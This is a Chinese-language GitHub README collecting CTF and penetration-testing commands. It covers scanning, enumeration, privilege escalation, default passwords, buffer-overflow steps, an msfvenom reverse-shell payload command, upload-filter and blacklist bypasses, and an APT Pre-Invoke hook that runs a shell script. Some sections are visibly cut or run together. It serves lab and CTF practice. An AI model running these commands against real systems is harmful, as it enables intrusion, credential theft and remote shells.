feng-zhe/enjoyCTF

GitHub: feng-zhe/enjoyCTF

CTF与渗透测试实战笔记集合,涵盖从信息收集到权限提升的完整攻击链路命令与脚本。

Stars: 2 | Forks: 1

(即将迁移至我的 [gitbook](https://pentest-henryzhefeng.gitbook.io/hacktheplanet/)) # 理念 - 首先,以最低成本测试潜在漏洞(或其每个步骤) # 端口扫描 (Port Scan) - `nmap -sC -sV -oA ` - `nmap -p- -sV > all-tcp` - `nmap -sU > comm-udp` - `nmap --script vuln ` - `nc -zv xx.xx.xx.xx 1-100 2>&1 | grep -v "refused"` # HTTP/HTTPS 80/443 - `gobuster -u http://xxxxx -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -x php,txt,html` - 如果需要,记得进行递归扫描 - 在 Google 上搜索其软件版本并查找 exploit - 登录页面 => 在 Google 上搜索其默认凭据 (default cred) - 四处操作并查看是否存在任何上传/执行漏洞 (vuln) - 检查其 SSL 证书信息,其中可能包含一些用户名或电子邮件 - 尝试操作 PHPSESSID,重用它,看看会发生什么 # DNS https://gist.github.com/feng-zhe/fc78b1f01b6ce6c26dd7a6ebc909953d ## SQLi https://gist.github.com/feng-zhe/e75d0c2c918c9edf50b27eb4d489b15f ## PHP Wrapper https://gist.github.com/feng-zhe/e6bc151aa96132b3cc4e03b5a858e80c ## PHP cmd 和文件上传脚本 https://gist.github.com/feng-zhe/68efdd66fd20fd4626fe82e3f92d6e2b # SMB https://gist.github.com/feng-zhe/3f7c802df4b47bc9d70eeb8bdbd190e8 # SNMP udp/161 - `snmpwalk -c public -v1 ` - `snmp-check -w -t 30 ` # 权限提升 (Priv Esc) ## Linux - 进入 /var/www/,读取配置 => 获取数据库凭据 (db cred) => 提取有价值的信息 - 密码重用 - 查找 SUID 文件 => `find / -perm -4000 2>/dev/null` - 查找 /home 中的所有文件 => `find /home -type f` - LinEnum.sh, linux-exploit-suggester.sh, linuxprivchecker.py ## Windows - [ps scripts](https://gist.github.com/feng-zhe/b47e251d9cc5d9bdf6504de182b1b2e0) - [manually enum](https://gist.github.com/feng-zhe/7913c7cc5b11f23cf99db058bb9edb00) - [runas attack](https://gist.github.com/feng-zhe/0e6d4dfd75d248d6450658618458d579) - [service replace](https://gist.github.com/feng-zhe/fc00f38428bb8974ed8ced67879ed374) - 如果使用 MSF,尝试迁移到一个 x64 进程并运行 local\_exploit\_suggest。 # 手动测试用户密码 - admin:admin - admin:password - admin:Password1 - guest:guest # 文件 (File) - exitfool xx => 查找隐藏信息,例如作者、电子邮件 # 文件传输 - smb 共享 - (kali) `impacket-smbserver share ` - (windows) `net use z: \\\share` - (windows) `copy function system 的地址 - `info functions` => 列出所有函数 - `vmmap` => 查找哪一部分是可执行的。 # 二进制漏洞利用步骤 (使用 immunity dbg) 1. 查找 EIP 溢出偏移量 1. `msf-pattern_create -l 300` 2. `msf-pattern_offset -q ` 2. 测试坏字符 (bad chars) 3. `!mona modules` 1. 查看模块及其安全标志。我们还需要确保模块地址不包含坏字符。 4. 点击 "e" 按钮查看可执行模块列表。双击一个以查看其汇编代码。 5. 查找 "jmp esp" 命令 1. 右键 -> search for -> command,然后输入 "jmp esp"(或其他)。 2. 右键 -> search for -> sequence of commands,然后输入 "push esp",新行,"ret"。 3. 如果未启用 DEP,我们可以在 "search for" 命令关注的 .text section 之外搜索。我们可以搜索其他 sections。 1. `msf-nasm_shell` 并输入 "jmp esp",它会显示 "FFE4" 2. `!mona find -s "\xff\xe4" -m xxx.dll 3. 你可以点击按钮 "->|"(其中 | 是点) 6. 放置 shellcode 1. `msfvenom -p windows/shell_reverse_tcp LHOST= LPORT= -f c -a x86 --platform windows -b "\x00\x0a\x0d" -e x86/shikata_ga_nai` # Oracle DB exploit 工具 - odat.py - `--sysdba` 获取一个 # XSS ``` ``` # 绕过上传文件过滤 - jpg.php, php.jpg, php5, php6, php7 - 利用系统文件名长度限制截断 .php.png 中末尾的 .png 部分 # 逃逸黑名单 - /usr/bin/find 替换为 /usr/bin/fin? 或 /usr/bin/\f\i\n\d # APT pre-invoke 攻击 如果运行 apt update,/etc/apt/apt.conf.d/ 中的脚本也会运行。 因此,如果有一个运行 apt update 的任务,我们可以在 /etc/apt/apt.conf.d/ 下放置一个包含以下内容的文件: `APT::Update::Pre-Invoke {"/bin/bash /tmp/myshell.sh"}` # Powershell https://gist.github.com/feng-zhe/5429965db99d9647ffc60bb571c6f46e # 逃逸 rbash https://gist.github.com/feng-zhe/ffc2063f138a4321c3cb45c9fdab5e46 # 资源 (Resources) - [omniscient methods](http://www.0daysecurity.com/penetration-testing/enumeration.html) - [bypass file upload filter](https://www.exploit-db.com/docs/english/45074-file-upload-restrictions-bypass.pdf)
标签:AI合规, CISA项目, CTF工具, HTTP工具, Libemu, Linux提权, PE 加载器, PHP安全, Privilege Escalation, SMB, Windows提权, 命令执行, 嗅探欺骗, 字典爆破, 安全备忘单, 安全笔记, 密码管理, 应用安全, 提权, 插件系统, 数据展示, 数据统计, 文件上传, 权限维持, 漏洞搜索, 端口扫描, 红队, 网络安全, 网络安全审计, 逆向工具, 错误配置检测, 隐私保护